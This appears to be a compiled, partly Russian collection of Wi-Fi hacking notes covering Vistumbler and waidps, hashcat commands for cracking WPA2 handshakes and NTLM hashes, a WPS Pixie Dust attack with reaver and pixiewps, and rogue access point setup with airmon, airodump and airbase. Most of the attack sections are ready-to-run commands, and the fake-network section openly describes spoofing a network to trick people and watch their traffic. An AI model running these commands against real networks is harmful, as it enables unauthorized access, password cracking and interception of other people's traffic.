WIFI scanner [Vistumbler] windows

A wireless network scanner written in AutoIT for Vista, Windows 7, Windows 8, and Windows 10. VistumblerMDB is the current version of Vistumbler. http://www.vistumbler.net

https://www.youtube.com/watch?v=sHEds4L8U_s

https://github.com/RIEI/Vistumbler

waidps - Wireless Auditing , Intrusion Detection & Prevention System [ WIFI IDS IPS ]

git clone https://github.com/SYWorks/waidps



Part 1 http://syworks.blogspot.com/2014/04/waidps-wireless-auditing-intrusion.html
Part 2 http://syworks.blogspot.com/2014/04/waidps-wireless-auditing-intrusion_24.html
Part 3 http://syworks.blogspot.com/2014/04/waidps-wireless-auditing-intrusion_25.html

Wireless Auditing, Intrusion Detection & Prevention System

oclHashcat WPA2/NTLM

1. Нам нужен .cap файл ,,пойманый хендшейк,, , но есть проблема Hashcat-guy не принимает такой вид файла ему нужен .hccap
(не вапрос идем на оф сайт хешката и конвертим из .cap >>.hccap ) Convert

2. Словари и атаки :
Тут нам нужен актуальный словарик который имеет пароли больше чем 8 символов как мы знаем wpa/wpa2 хеш пас начинается с восмизнака . Такие словари можно скачать и у нас на форуме и в паблике их много , но я бы вам советовал сделать свой личный словарик на гига 2-4 .

2.1 Полный перебор и команды:
?u?- обозначает буквы верхнего регистра = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?l? - обозначает буквы нижнего регистра = abcdefghijklmnopqrstuvwxyz
?s?- обозначает символы = !”#$%&'()*+,-./:;??@[\]^_`{|}~
?d?- обозначает цифры = 0123456789

Пример маскаи брута : ?l?l?d?d?s?s?u?u? >>>> 8 характеров mm28!@ab
на видео показан приамер брута по словарю , аналогично , выбираем метод брут-форс , прописываем в поле ?l?l?l?l?l?l?l?l? нашу маску , и ждем результата ....

cudaHashcat64.exe -m 2500 -a 3 c:\Hacking\wireless\tp-link.hccap ?l?l?l?l?l?l?l?l

или по словарю

cudaHashcat64.exe -a 0 -m 2500 -o "G:\HashcatGUI_0281\found.txt" --outfile-format=3 -n 16 -u 128 --gpu-temp-abort=90 --gpu-temp-retain=80 "G:\HashcatGUI_0281\!Cracked\1.hccap" "G:\!WordList\!!N1\passlist_16.txt"

NTLM

cudaHashcat64.exe -t 32 -m 1000 -a 3 ntlm.hash ?a?a?a?a?a?a?a -i --increment-min=7 --increment-max=7 -o=hashresults.txt pause

Wifi [Wardriving]

Slitaz Aircrack-ng Distribution:
http://aircrack-ng.org/doku.php?id=slitaz

Wifi Arsenal:

https://t.co/YGZts9bvnX

Wifi Sec books:

https://www.dropbox.com/sh/bqf9wv7dvsb9ya0/AABXBQ7eCgDc2LQfX0CnBn8Za?dl=0

wifi hotspot local windows

• netsh wlan set hostednetwork mode=allow
• netsh wlan set hostednetwork mode=allow ssid=FastWifi key=12345678 keyUsage=persistent
• netsh wlan start hostednetwork

галкой отмечаем пункт “Разрешить другим пользователям сети использовать подключение к Интернету данного компьютера” и в списке “Подключение к домашней сети” выбираем наше новое соединение, которое мы только что создали.

netsh wlan start hostednetwork
netsh wlan stop hostednetwork

WPS Pixie Dust Attack (Offline WPS Attack)

Tools:
-Pixiewps by Wiire, used to brute force the WPS pin offline

cd /path/to/pixiewps/src
make
make install

-t6_x's modified version of Reaver to automate the process

git clone https://github.com/t6x/reaver-wps-fork-t6x

cd /path/to/reaver-wps-fork-t6x/src
chmod 777 ./configure
./configure
make
make install

Compiling Dependencies:

apt-get install libssl-dev
apt-get install libpcap-dev
apt-get install libsqlite3-dev

reaver -i wlan0mon -b 10:FE:ED:B4:A0:D2 -a -vvv -K 1


If you would like to contribute data, please post in code tags:

N1 Enrollee Nonce:
N2 Registrar Nonce:
PKe:
PKr:
Authkey:
E-Hash1:
E-Hash2: 

AP Manufacturer:
AP Model Number:
AP Chipset:
Wikidevi Link:

pixiewps --pke <pke> --pkr <pkr> --e-hash1 <e-hash1> --e-hash2 <e-hash2> --authkey <authkey> --e-nonce <e-nonce>

Create a Fake Network with Airbase-ng

Create a Fake Network with Airbase

Next up, let’s take a look at how you can spoof a network address to trick people into signing into the wrong network so you can watch what they’re doing. Hackers might do this so you sign into the fake network thinking it’s your real one, then performing a man in the middle attack (more on that in the next section) to gather information about you from your traffic. This is amazingly easy to do with a tool in Kali Linux called Airbase.

Essentially, you’ll turn your Wi-Fi adapter on Kali Linux into an access point with the same name as another network. In order to do this, you’ll follow the same line of research as you did above, but the ending’s a bit different.

Step One: Configure Your Wireless Card

Just like last time, you need to set up your wireless card to monitor traffic. Open up Terminal and type:

airmon-ng

This lists all the wireless cards that support this crack. Yours is likely listed under interface as wlan0.

Next, type in:

airmon-ng start wlan0

Now you’re in monitor mode. It’s time to find the network you want to spoof.

Step Two: Find a Wi-Fi Network to Spoof

In order to spoof a router, you’ll need some information about it. So, type in:

airodump-ng mon0

You’ll see all the networks in your area. Locate your network from the list and copy the BSSID, while making a note of its name and the channel it’s on. This is the router you’re going to spoof. Tap Ctrl+C to stop the process.

Cracking WPA/WPA2

What do i need for cracking Wireless Networks? :
Backtrack Linux (http://www.backtrack-linux.org/)
Brain
Computer
Commands
Wireless Card that supports packet injection
Wordlist/s for WPA/WPA2 Enrypted Networks

Which Wireless Cards are supported? :
Is My Wireless Card Compatible ?
http://www.aircrack-ng.org/doku.php?id=compatible_cards
Which is the best card to buy ?
http://www.aircrack-ng.org/doku.php?id=c…ard_to_buy
I recommend Alfa Wireless Cards
http://www.alfa.com.tw/products_list.php?pc=34
I use the following products without having any troubles :
AWUS036NH
AWUS036NHA
Where can i get Wordlists? :
InsidePro
Packetstormsecurity
Skullsecurity
Alphabetic and numerical Wordlist Generator
#
..